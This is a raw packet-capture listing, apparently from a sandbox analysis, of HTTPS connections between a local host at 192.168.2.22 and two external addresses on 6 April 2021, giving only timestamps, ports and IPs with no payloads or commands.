Apr 6, 2021 19:39:54.639065027 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.639101028 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.639137983 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.639174938 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.639185905 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.639250040 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.639262915 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.643362045 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.812726974 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.812782049 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.812817097 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.812850952 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.812884092 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.812927008 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.812964916 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.812998056 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.813035011 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.813075066 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.813091993 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.813114882 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.813139915 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.813146114 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.813150883 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.813150883 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.813170910 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.813185930 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.813230038 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.813249111 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.813267946 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.813271046 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.813292980 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.813306093 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.813328028 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.813340902 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.813375950 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.813376904 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.813394070 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.813429117 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.813446045 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.813489914 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.813509941 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.813534021 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.823718071 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.985867023 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986001015 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986076117 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986156940 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986206055 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986243010 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986289024 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986334085 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986331940 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986371040 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986413002 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986449003 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986453056 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986458063 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986490011 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986491919 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986531973 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986534119 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986569881 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986571074 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986577034 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986607075 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986612082 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986612082 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986617088 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986620903 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986653090 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986655951 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986695051 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986696959 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986732960 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986733913 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986738920 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986773014 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986810923 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986850023 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986851931 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986881971 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986886024 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986921072 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986927032 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986928940 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.986973047 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.986973047 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.987021923 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.987025976 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.987071991 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.987075090 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.987078905 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.987118006 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.987155914 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.987159967 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.987202883 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.987222910 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.987227917 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.987271070 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.987307072 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.987313032 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.987345934 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.987350941 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.987385035 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.987411022 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.987437010 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:54.987441063 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.987477064 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.987485886 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.987492085 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.987535000 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:54.994657993 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:55.008810997 CEST	49170	443	192.168.2.22	199.79.62.99
Apr 6, 2021 19:39:55.180876017 CEST	443	49170	199.79.62.99	192.168.2.22
Apr 6, 2021 19:39:57.600735903 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:57.644856930 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:57.644967079 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:57.652812004 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:57.695558071 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:57.696043968 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:57.696093082 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:57.696134090 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:57.696182966 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:57.698239088 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:57.698275089 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:57.698318005 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:57.712980986 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:57.756154060 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:57.756748915 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.009083033 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.009321928 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.497114897 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.539283991 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.677455902 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.677619934 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.677663088 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.677701950 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.677793980 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.677818060 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.678406000 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.678481102 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.678569078 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.679606915 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.775079966 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.775120974 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.775254011 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.775638103 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.775672913 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.775727987 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.776879072 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.776942968 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.777004004 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.778084040 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.778517962 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.778557062 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.778574944 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.779875040 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.779906034 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.779941082 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.780953884 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.780987024 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.781002045 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.782215118 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.782285929 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.800384045 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.873225927 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.873277903 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.873406887 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.873743057 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.873807907 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.873864889 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.874983072 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.875036001 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.875099897 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.876166105 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.876646996 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.876699924 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.876713991 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.877911091 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.877979040 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.878045082 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.879048109 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.879127026 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.970829964 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.970851898 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.970956087 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.971353054 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.971518993 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.971541882 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.971617937 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:58.972793102 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.972810030 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:58.972925901 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.070033073 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.070084095 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.070228100 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.070508957 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.070564032 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.070647001 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.071712017 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.071763992 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.071824074 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.072935104 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.072987080 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.073076010 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.074199915 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.074251890 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.074357986 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.075381994 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.075438023 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.075519085 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.076591015 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.076627016 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.076699018 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.170785904 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.170820951 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.171036005 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.171294928 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.171324968 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.171400070 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.172509909 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.172527075 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.172602892 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.173727036 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.173744917 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.173815012 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.174966097 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.174984932 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.175081968 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.176362038 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.176379919 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.176445007 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.177391052 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.265342951 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.265367985 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.265557051 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.265718937 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.265738964 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.265800953 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.266913891 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.266937017 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.266994953 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.268129110 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.268165112 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.268224001 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.269372940 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.269407034 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.269464970 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.270591021 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.270620108 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.270665884 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.271898031 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.271919966 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.271969080 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.367145061 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.367172003 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.367351055 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.367630005 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.367647886 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.367724895 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.368912935 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.368940115 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.368992090 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.370112896 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.370142937 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.370233059 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.371320963 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.371351004 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.371400118 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.372570038 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.372594118 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.372658968 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.373801947 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.373817921 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.373882055 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.461081028 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.461174011 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.461289883 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.461476088 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.461520910 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.461606026 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.462735891 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.462780952 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.462838888 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.463953972 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.463995934 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.464042902 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.465162992 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.465210915 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.465274096 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.466379881 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.466434002 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.466500998 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.467636108 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.559859037 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.559907913 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.560071945 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.560327053 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.560359955 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.560429096 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.561610937 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.561645985 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.561690092 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.562859058 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.562896967 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.562935114 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.564038992 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.564075947 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.564121008 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.565227032 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.565263033 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.565310001 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.566467047 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.566504955 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.566557884 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.567661047 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.567694902 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.567740917 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.568911076 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.568945885 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.568984985 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.570130110 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.570163012 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.570203066 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.571336985 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.571372986 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.571412086 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.572531939 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.572566986 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.572606087 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.573816061 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.573849916 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.573890924 CEST	49171	443	192.168.2.22	143.204.3.74
